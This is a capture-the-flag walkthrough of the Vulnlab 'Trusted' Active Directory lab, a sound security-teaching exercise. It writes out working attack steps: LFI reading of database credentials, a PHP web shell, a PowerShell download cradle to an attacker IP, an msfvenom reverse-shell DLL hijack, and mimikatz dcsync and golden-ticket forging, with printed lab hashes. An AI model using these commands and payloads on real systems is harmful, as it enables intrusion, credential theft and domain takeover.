Vulnlab — Trusted
Trutsed, an easy active directory chain, which involved two machines, TRUSTED
and LABDC
, enumerating the webserver on LABDC host, finding LFI
and reading the database credentials through php filters, having root user on mysql, leads to two ways, the intedned being, extracting and cracking user hashes which we’ll get the password for rsmith
which can change the password for ewalters and gaining remote access on the machine, furthter escalating to cpower
through DLL Hijacking
, landing a shell as domain admin on LABDC while the un-intended path being, ability to write php shell in web directory and getting SYSTEM. Abusing child-parent domain trust between between lab.trusted.vl
and trusted.vl
by forging a golden ticket for enterpise domain admin.
NMAP lab.trusted.vl
└─$ nmap -sV lab.trusted.vl Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 14:46 CEST Nmap scan report for lab.trusted.vl (10.10.148.134) Host is up (0.013s latency). Not shown: 984 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-13 12:46:50Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 443/tcp open ssl/http Apache httpd 2.4.53 (OpenSSL/1.1.1n PHP/8.1.6) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3306/tcp open mysql MariaDB 5.5.5-10.4.24 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Hosts: LABDC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.28 seconds
NMAP trusted.vl
└─$ nmap -sV trusted.vl Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 14:48 CEST Nmap scan report for trusted.vl (10.10.148.133) Host is up (0.013s latency). rDNS record for 10.10.148.133: trusteddc.trusted.vl Not shown: 987 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-13 12:48:22Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Host: TRUSTEDDC; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds
The webserver had XAMPP running
Fuzzing for files with gobuster it showed /dev
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ gobuster dir -x php -w /usr/share/wordlists/dirb/big.txt -u http://10.10.140.38/dev/ =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.140.38/dev/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htpasswd (Status: 403) [Size: 301] /.htaccess (Status: 403) [Size: 301] /.htaccess.php (Status: 403) [Size: 301] /.htpasswd.php (Status: 403) [Size: 301] /DB.php (Status: 200) [Size: 22] /Images (Status: 301) [Size: 341] [--> http://10.10.140.38/dev/Images/] /aux (Status: 403) [Size: 301] /con (Status: 403) [Size: 301] /con.php (Status: 403) [Size: 301] /css (Status: 301) [Size: 338] [--> http://10.10.140.38/dev/css/] /db.php (Status: 200) [Size: 22] /images (Status: 301) [Size: 341] [--> http://10.10.140.38/dev/images/] /lpt1 (Status: 403) [Size: 301] /secci� (Status: 403) [Size: 301] Progress: 40938 / 40940 (100.00%) =============================================================== Finished =============================================================== ┌──(puck㉿kali)-[~/vulnlab/trusted]
So here we can try Local File Inclusion (LFI) to see if any of the local files get included
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ curl http://10.10.140.38/dev/index.html?view=C:/WINDOWS/System32/drivers/etc/hosts <!DOCTYPE HTML> <!-- Website template by freewebsitetemplates.com --> <html> <head> <snip> </div> <p># Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. <snip> # lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost </p></body> </html>
.
open with php://filter/convert.base64-encode/resource=
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ curl http://10.10.140.38/dev/index.html?view=php://filter/convert.base64-encode/resource=C:/WINDOWS/System32/drivers/etc/hosts <!DOCTYPE HTML> <!-- Website template by freewebsitetemplates.com --> <html> <head> <snip> </li> </ul> </div> </div> <p>IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo=</p></body> </html>
.
At the bottom we can see why we were able to include local files, as it’s using include
on GET parameter and accepting files. secondly we see a comment for Eric which talks about setting up database connection, on trying to fuzz for php files, we get db.php
curl http://10.10.140.38/dev/index.html?view=php://filter/convert.base64-encode/resource=C:\xampp\htdocs\dev\db.php
We base-64 decode it
echo "PD9waHAgDQokc2VydmVybmFtZSA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIlN1cGVyU2VjdXJlTXlTUUxQYXNzdzByZDEzMzcuIjsNCg0KJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkc2VydmVybmFtZSwgJHVzZXJuYW1lLCAkcGFzc3dvcmQpOw0KDQppZiAoISRjb25uKSB7DQogIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiBteXNxbGlfY29ubmVjdF9lcnJvcigpKTsNCn0NCmVjaG8gIkNvbm5lY3RlZCBzdWNjZXNzZnVsbHkiOw0KPz4=" | base64 -d <?php $servername = "localhost"; $username = "root"; $password = "SuperSecureMySQLPassw0rd1337."; $conn = mysqli_connect($servername, $username, $password); if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } echo "Connected successfully"; ?>
From here we have credentials to mysql
With these credentials we can login to mysql
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ smysql -h 10.10.140.38 --skip-ssl -u 'root' -p Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 12 Server version: 10.4.24-MariaDB mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
With news
database, we can query for users
table
Here we can find three usernames, out of which rsmith
‘s hash was cracked
On trying to crack these hashes with Crackstation
MariaDB > use news Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [news]> select * from users; +----+------------+--------------+-----------+----------------------------------+ | id | first_name | short_handle | last_name | password | +----+------------+--------------+-----------+----------------------------------+ | 1 | Robert | rsmith | Smith | 7e7abb54bbef42f0fbfa3007b368def7 | | 2 | Eric | ewalters | Walters | d6e81aeb4df9325b502a02f11043e0ad | | 3 | Christine | cpowers | Powers | e3d3eb0f46fe5d75eed8d11d54045a60 | +----+------------+--------------+-----------+----------------------------------+ 3 rows in set (0.022 sec) MariaDB [news]> crackstation.net 7e7abb54bbef42f0fbfa3007b368def7 md5 IHateEric2 -> Robert / IHateEric2 MariaDB [news]> select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/dev/back.php'; http://lab.trusted.vl/dev/back.php?c=whoami curl http://lab.trusted.vl/dev/back.php?c=whoami 1 2 nt authority\system 4
.
MariaDB [news]> select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/dev/back.php'; Query OK, 1 row affected (0.019 sec) MariaDB [news]>
.
└─$ curl http://10.10.140.38/dev/back.php?c=whoami 1 2 nt authority\system 4
.
Get a shell
curl http://10.10.140.38/dev/back.php?c=powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.8.2.138/puckshell.txt');/
catch shell
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ rlwrap nc -nlvp 443 listening on [any] 443 ... connect to [10.8.2.138] from (UNKNOWN) [10.10.140.38] 64765 Microsoft Windows [Version 10.0.20348.887] (c) Microsoft Corporation. All rights reserved. C:\xampp\htdocs\dev>whoami nt authority\system C:\xampp\htdocs\dev>hostname labdc C:\xampp\htdocs\dev>
.
do some trust enum with mimikatz lsadump::trust /patch /user:Administrator
and some lsadump::dcsync /domain:lab.trusted.vl /all
With the Admin hash we van winrm to lab.trusted.vl
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ evil-winrm -u Administrator -H '75878369ad33f35b7070ca854100bc07' -i lab.trustedu.vl Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami lab\administrator
.
On WINRM, imported PowerView.ps1
. .\PowerView.ps1
OR
Import-Module .\PowerView.ps1
To pivot from Child to Parent Domain, I have to confirm that trust is bidirectional.
Enumerating for forest information, there are two forest trusted.vl which is parent, and lab.trusted.vl which is child.
Get-ForestDomain
*Evil-WinRM* PS C:\programdata> whoami lab\administrator *Evil-WinRM* PS C:\programdata> Get-DomainTrust SourceName : lab.trusted.vl TargetName : trusted.vl TrustType : WINDOWS_ACTIVE_DIRECTORY TrustAttributes : WITHIN_FOREST TrustDirection : Bidirectional WhenCreated : 9/14/2022 6:42:24 PM WhenChanged : 8/13/2025 11:00:54 AM *Evil-WinRM* PS C:\programdata>
.
Escalating to Enterprise Admin with RaiseChild.py
As cpowers
was a domain administrator and we had their NTLM hash in hand, we could forge an inter-realm ticket to escalate from lab.trusted.vl
to trusted.vl
. I chose to automate this process with raiseChild.py. I could have manually gotten the domain SIDs for both domains and the hash for krbtgt to generate the golden ticket but this was my first time using raiseChild.py so I wanted to give it a try.
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ impacket-raiseChild lab.trusted.vl/cpowers -hashes :322db798a55f85f09b3d61b976a13c43 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Raising child domain lab.trusted.vl [*] Forest FQDN is: trusted.vl [*] Raising lab.trusted.vl to trusted.vl [*] trusted.vl Enterprise Admin SID is: S-1-5-21-3576695518-347000760-3731839591-519 [*] Getting credentials for lab.trusted.vl lab.trusted.vl/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7a03c565c68c6fac5f8913fab576ebd::: lab.trusted.vl/krbtgt:aes256-cts-hmac-sha1-96s:c930ddb15c3f84aafa01e816abc1112e38430b574ae3fcdd019e77bc906494aa [*] Getting credentials for trusted.vl trusted.vl/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d9436aebee2db5c6e4166d5e2472fa2d::: trusted.vl/krbtgt:aes256-cts-hmac-sha1-96s:3e5bc8a7d01388cdaf4ab8541f4e360d4fd9089723cedfd08f8016b7900ba2bf [*] Target User account name is Administrator trusted.vl/Administrator:500:aad3b435b51404eeaad3b435b51404ee:15db914be1e6a896e7692f608a9d72ef::: trusted.vl/Administrator:aes256-cts-hmac-sha1-96s:d75ec7df1acac724a6dfc250e707aab3492b6d9936b9898f742781b0a871d4a6
.
Now the NTLM hash for Administrator in trusted.vl
can be used with Evil-WinRM to log on to the parent domain controller.
evil-winrm -u Administrator -H 15db************************72ef -i trusteddc.trusted.vl
The c:\users\administrator\desktop\root.txt is encrypted with EFS ( by user Administrator) , Therefore chose to RDP to the machine. However, as Restricted Admin mode is disabled by default, we cannot pass-the-hash with something like xfreerdp3. Instead, Restricted Admin mode has to be enabled first. Since this is not the default behavior, it has to be enabled via a registry key.
*Evil-WinRM* PS C:\Users\Administrator\Desktop> reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
The operation completed successfully.
Restricted Admin what?
Let’s talk about Restricted Admin mode for a second.
By default, Restricted Admin mode is disabled and when you connect to a remote host via RDP, your username and password are sent to the host, allowing for delegation to secondary network resources within the remote session. Any network resources accessed are done with your user account, not the source computer account. A copy of the credentials is stored in LSASS on the remote host
If we can enable Restricted Admin mode, no credentials are sent to the remote host. Instead, the client authenticates the user locally and generates an authentication token (Kerberos or NTLM), which is then sent to the remote host. Since the remote host only receives a token and not a password, we can authenticate with an NTLM hash instead, making pass-the-hash attacks possible.
That’s a high-level explanation – there are plenty of resources online that go much further in depth but there have been too many tangents already.
Once the registry key is set, now the NTLM hash can be used to RDP using xfreerdp3.
# xfreerdp3 /d:trusted.vl /u:Administrator /pth:15db************************72ef /v:trusteddc.trusted.vl
Below recommended way:
We can check if RSmith’s credentials works on the target machine with crackmapexec
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ nxc smb 10.10.140.38 -u 'rsmith' -p 'IHateEric2' SMB 10.10.140.38 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False) SMB 10.10.140.38 445 LABDC [+] lab.trusted.vl\rsmith:IHateEric2
Foothold (ewalters)
I wasn’t able to run python-bloodhound
, not sure what was the issue
This can be fixed by using dns-chef
to proxy all the records back to the domain controller
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ dnschef --fakeip 10.10.140.38 /usr/bin/dnschef:453: SyntaxWarning: invalid escape sequence '\/' header += " / _` | '_ \/ __|/ __| '_ \ / _ \ _|\n" /usr/bin/dnschef:454: SyntaxWarning: invalid escape sequence '\_' header += " | (_| | | | \__ \ (__| | | | __/ | \n" /usr/bin/dnschef:455: SyntaxWarning: invalid escape sequence '\_' header += " \__,_|_| |_|___/\___|_| |_|\___|_| \n" _ _ __ | | version 0.4 | | / _| __| |_ __ ___ ___| |__ ___| |_ / _` | '_ \/ __|/ __| '_ \ / _ \ _| | (_| | | | \__ \ (__| | | | __/ | \__,_|_| |_|___/\___|_| |_|\___|_| iphelix@thesprawl.org (11:03:11) [*] DNSChef started on interface: 127.0.0.1 (11:03:11) [*] Using the following nameservers: 8.8.8.8 (11:03:11) [*] Cooking all A replies to point to 10.10.140.38 (11:03:18) [*] 127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.pdc._msdcs.LAB.TRUSTED.VL (11:03:18) [*] 127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.pdc._msdcs.LAB.TRUSTED.VL.home (11:03:18) [*] 127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.gc._msdcs.LAB.TRUSTED.VL (11:03:18) [*] 127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.gc._msdcs.LAB.TRUSTED.VL.home (11:03:18) [*] 127.0.0.1: proxying the response of type 'SRV' for _kerberos._tcp.dc._msdcs.LAB.TRUSTED.VL (11:03:18) [*] 127.0.0.1: proxying the response of type 'SRV' for _kerberos._tcp.dc._msdcs.LAB.TRUSTED.VL.home (11:03:18) [*] 127.0.0.1: cooking the response of type 'A' for labdc.LAB.TRUSTED.VL to 10.10.140.38 (11:03:20) [*] 127.0.0.1: cooking the response of type 'A' for labdc.LAB.TRUSTED.VL to 10.10.140.38 (11:03:21) [*] 127.0.0.1: cooking the response of type 'A' for labdc.lab.trusted.vl to 10.10.140.38
then it works
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ bloodhound-ce-python -d 'LAB.TRUSTED.VL' -u 'rsmith' -p 'IHateEric2' -ns 127.0.0.1 -dc labdc.LAB.TRUSTED.VL -c all --zip INFO: BloodHound.py for BloodHound Community Edition WARNING: Could not find a global catalog server, assuming the primary DC has this role If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (labdc.LAB.TRUSTED.VL:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: labdc.LAB.TRUSTED.VL INFO: Found 1 domains INFO: Found 2 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: labdc.LAB.TRUSTED.VL ERROR: Could not find a Global Catalog in this domain! Resolving will be unreliable in forests with multiple domains ERROR: Could not find a Global Catalog in this domain! Resolving will be unreliable in forests with multiple domains INFO: Found 7 users ERROR: Could not find a Global Catalog in this domain! Resolving will be unreliable in forests with multiple domains ERROR: Could not find a Global Catalog in this domain! Resolving will be unreliable in forests with multiple domains ERROR: Could not find a Global Catalog in this domain! Resolving will be unreliable in forests with multiple domains INFO: Found 47 groups INFO: Found 2 gpos INFO: Found 5 ous INFO: Found 19 containers ERROR: Could not find a Global Catalog in this domain! Resolving will be unreliable in forests with multiple domains INFO: Found 1 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: labdc.lab.trusted.vl INFO: Done in 00M 05S INFO: Compressing output into 20250809110318_bloodhound.zip
.
Running bloodhound-GUI and uploading the json files we got from python-bloodhound, we can see a path from rsmith
to ewalters
by having ForceChangePassword
on ewalters, we can change the password and login by either WinRM or RDP since it has CanPSRemote
permissions on the host
Through rpcclient
, ewalters’s password can be changed
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ rpcclient -U "rsmith" //lab.trusted.vl Password for [WORKGROUP\rsmith]:IHateEric2 rpcclient $> setuserinfo2 ewalters 23 'Ewwalter@123456' rpcclient $>
With netexec we can verify if the password is actually updated and we can login through WinRM
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ nxc smb lab.trusted.vl -u 'ewalters' -p 'Ewwalter@123456' SMB 10.10.148.134 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False) SMB 10.10.148.134 445 LABDC [+] lab.trusted.vl\ewalters:Ewwalter@123456
.
Press enter or click to view image in full size
In C:/
drive, there was a folder AVTest
which had readme.txt
talking about Christine to run AV tools
Press enter or click to view image in full size
Using smbserver.py
to transfer KasperskyRemovalTool.exe
Press enter or click to view image in full size
Press enter or click to view image in full size
Privilege Escalation (cpowers)
Transferring the exe on windows machine and running Process Monitor/Procmon to analyze which DLL is being loaded by this exe, on launching procmon, it’s going to capture all system events
Press enter or click to view image in full size
Running KasperskyRemovalTool.exe
to make sure it’s events gets logged
Hit ctrl+E
to stop capturing for system events and apply filters to only display kaspersky process
Press enter or click to view image in full size
First applying the filter for KasperskyRemovalTool
process name
Press enter or click to view image in full size
Next adding the filter for the dll files
Press enter or click to view image in full size
Lastly for dlls which are not found, KasperskyRemovalToolENU.dll
was being loaded, so we need to create 32 bit DLL since the exe is in PE32 format
Press enter or click to view image in full size
Generating dll with msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.0.136 LPORT=2222 -f dll > KasperskyRemovalToolENU.dll
Press enter or click to view image in full size
Transferring the dll file and putting it in C:/AVTest
as the dll was being loaded from the same location from where the exe was being executed
Press enter or click to view image in full size
Now wait for few seconds for the exe to be triggered which will execute our malicious dll and we’ll get a shell as cpowers
This user was a member of domain admin
, so we have complete access on the first machine
Privilege Escalation (Enterprise Admin)
We can enumerate the trust between labdc.trusted.vl
and trusted.vl
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
nltest.exe /trusted_domains
C:\programdata>nltest.exe /trusted_domains nltest.exe /trusted_domains List of domain trusts: 0: TRUSTED trusted.vl (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: withinforest ) 1: LAB lab.trusted.vl (NT 5) (Forest: 0) (Primary Domain) (Native) The command completed successfully C:\programdata>
We can abuse this child->parent domain trust relationship and escalate to enterprise domain, in order to do this we need the krbtgt hash of lab.trusted.vl and the SIDs of both domains, then with mimikatz we can forge a golden ticket for the enterprise domain admin
lsadump::dcsync /domain:lab.trusted.vl /all
Dumping ntds.dit to get the krbtgt hash by using mimikatz
.
Credentials: Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Object Security ID : S-1-5-21-2241985869-2159962460-1278545866-502 Object Relative ID : 502 Credentials: Hash NTLM: c7a03c565c68c6fac5f8913fab576ebd Credentials: Hash NTLM: 7cc690679f059e96b2195c9cd931883e Object RDN : Administrator ** SAM ACCOUNT ** SAM Username : Administrator User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD ) Object Security ID : S-1-5-21-2241985869-2159962460-1278545866-500 Object Relative ID : 500 Credentials: Hash NTLM: 75878369ad33f35b7070ca854100bc07 Object RDN : Christine Powers ** SAM ACCOUNT ** SAM Username : cpowers User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD ) Object Security ID : S-1-5-21-2241985869-2159962460-1278545866-1107 Object Relative ID : 1107 Credentials: Hash NTLM: 322db798a55f85f09b3d61b976a13c43
.
So now we can also evilwinrm as lab\cpowers ( a domain admin )
┌──(puck㉿kali)-[~/vulnlab/trusted] └─$ evil-winrm -u cpowers -H '322db798a55f85f09b3d61b976a13c43' -i lab.trusted.vl Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\cpowers\Documents> whoami lab\cpowers *Evil-WinRM* PS C:\Users\cpowers\Documents>
.
Getting the domain SID of lab.trusted.vl and trusted.vl by running lsadump::trust /patch
mimikatz # lsadump::trust /patch Current domain: LAB.TRUSTED.VL (LAB / S-1-5-21-2241985869-2159962460-1278545866) Domain: TRUSTED.VL (TRUSTED / S-1-5-21-3576695518-347000760-3731839591) [ In ] LAB.TRUSTED.VL -> TRUSTED.VL * 8/13/2025 8:36:45 AM - CLEAR <snip>
Now forging a ticket for enterprise domain admin
kerberos::golden /user:Administrator /krbtgt:c7a...bd /domain:lab.trusted.vl /sid:S-1-5-21-224...866 /sids:S-1-5-21-3...0-3731839591-519 /ptt
.
mimikatz # kerberos::golden /user:Administrator /krbtgt:c7a03c565c68c6fac5f8913fab576ebd /domain:lab.trusted.vl /sid:S-1-5-21-2241985869-2159962460-1278545866 /sids:S-1-5-21-3576695518-347000760-3731839591-519 /ptt User : Administrator Domain : lab.trusted.vl (LAB) SID : S-1-5-21-2241985869-2159962460-1278545866 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-3576695518-347000760-3731839591-519 ; ServiceKey: c7a03c565c68c6fac5f8913fab576ebd - rc4_hmac_nt Lifetime : 8/13/2025 9:01:40 AM ; 8/11/2035 9:01:40 AM ; 8/11/2035 9:01:40 AM -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'Administrator @ lab.trusted.vl' successfully submitted for current session mimikatz #
. All that is left is to dump ntds from trusted.vl domain
lsadump::dcsync /domain:trusted.vl /dc:trusteddc.trusted.vl /all
Press enter or click to view image in full size
Press enter or click to view image in full size
Having the administrator’s hash from trusted.vl, we can login through WinRM and complete this AD chain.
Press enter or click to view image in full size
References
- https://github.com/aniqfakhrul/powerview.py
- https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
- https://medium.com/techzap/dll-hijacking-part-1-basics-b6dfb8260cf1
- https://redteamtechniques.github.io/Windows%20%26%20AD%20Hacking/Lab%20Attacks/Abusing%20Parent%20Child%20Domain%20Trusts%20for%20Privilege%20Escalation%20from%20DA%20to%20EA/